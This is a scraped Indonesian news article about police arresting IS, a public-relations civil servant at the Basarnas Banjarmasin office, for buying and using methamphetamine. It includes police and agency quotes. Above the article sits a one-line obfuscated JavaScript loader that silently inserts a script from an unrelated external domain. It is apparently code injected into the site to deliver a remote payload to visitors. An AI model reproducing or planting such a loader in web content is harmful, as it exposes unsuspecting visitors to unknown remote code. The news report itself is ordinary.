(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kepala Satuan Reserse (Satres) Narkoba Polres Banjarbaru AKP Elche akhirnya angkat bicara terkait penangkapan seorang Aparatur Sipil Negara (ASN) di Kantor Basarnas Banjarmasin.
Kepada Kanalkalimantan.com, AKP Elche menceritakan kronologi penangkapan terhadap IS (36) yang bertugas di bidang humas Kantor Basarnas Banjarmasin tersebut. Berawal, saat pihak kepolisan mendapati informasi dari masyarakat sejak beberapa bulan lalu.
“Pelaku berinisial IS ini telah menjadi target operasi kita sejak Maret lalu. Tapi, giat penangkapannya tidak menjadi prioritas,” katanya, Selasa (2/6/2020) sore.
Awalnya, Satres Narkoba melakukan penangkapan terhadap pelaku berinisal RH yang merupakan seorang pejual narkoba pada Senin (1/6/2020) kemarin. Dalam hal ini petugas mendapati barang bukti 2,15 gram sabu dari tangan RH.
Dari pengakuan RH inilah, diketahui bahwa kristal haram tersebut sering dibeli oleh IS. Sialnya, bertepatan saat RH sedang diamankan, IS menelpon dengan maksud membeli serbuk putih itu.
Walhasil, pihak kepolisian menjebak dan mengamankan IS di lokasi yang dijanjikan sebagai tempat bertransaksi yakni di sebuah pinggir jalan di Kecamatan Landasan Ulin.
“IS tidak berkutik saat kita amankan sedang bertransaksi narkoba. Saat itu, kita minta IS menunjukan sisa sabu yang dikonsumsi. Ternyata disimpan di jok motor seberat 0,27 gram berserta alat hisap,” lanjut Kasatres Narkoba.
Fakta lainnya, IS mengkonsumsi narkoba dengan kategori kecanduan parah. Selain itu, IS berdalih kepada petugas dirinya mengkonsumsi narkoba lantaran permasalahan rumah tangga.
“Dengan tertangkap tangan dan temuan barang bukti sabu-sabu serta alat pipet, pelaku kita kenakan pasal 122 subsider 127 UU Narkotika dengan ancaman hukuman 5 tahun penjara,” pungkas AKP Elche.
Selasa (2/6/2020) pagi, Satres Narkoba Polres Banjarbaru juga melakukan penggeledahan di ruang kerja IS di Kantor Basarnas Banjarmasin. Penggeledahan yang berlangsung kurang lebih satu jam itu, petugas mendapati plastik klip dan korek api yang sudah dimodifikasi berada dalam lemari kerja IS.
Sementara itu, Kepala Basarnas Banjarbaru Sunarto menegaskan, pihaknya akan selalu kooperatif dalam kasus tertangkapnya IS. Ia juga menyerahkan proses penyelidikan kepada pihak kepolisian.
“Kita tidak akan ikut campur, meskipun yang bersangkutan adalah petugas dari Basarnas. Jika, terbukti maka kita ikuti proses hukumnya. Sanksi dari Basarnas kepada yang bersangkutan bisa jadi pemecatan, jika kasus ini sudah inkrah,” tuturnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.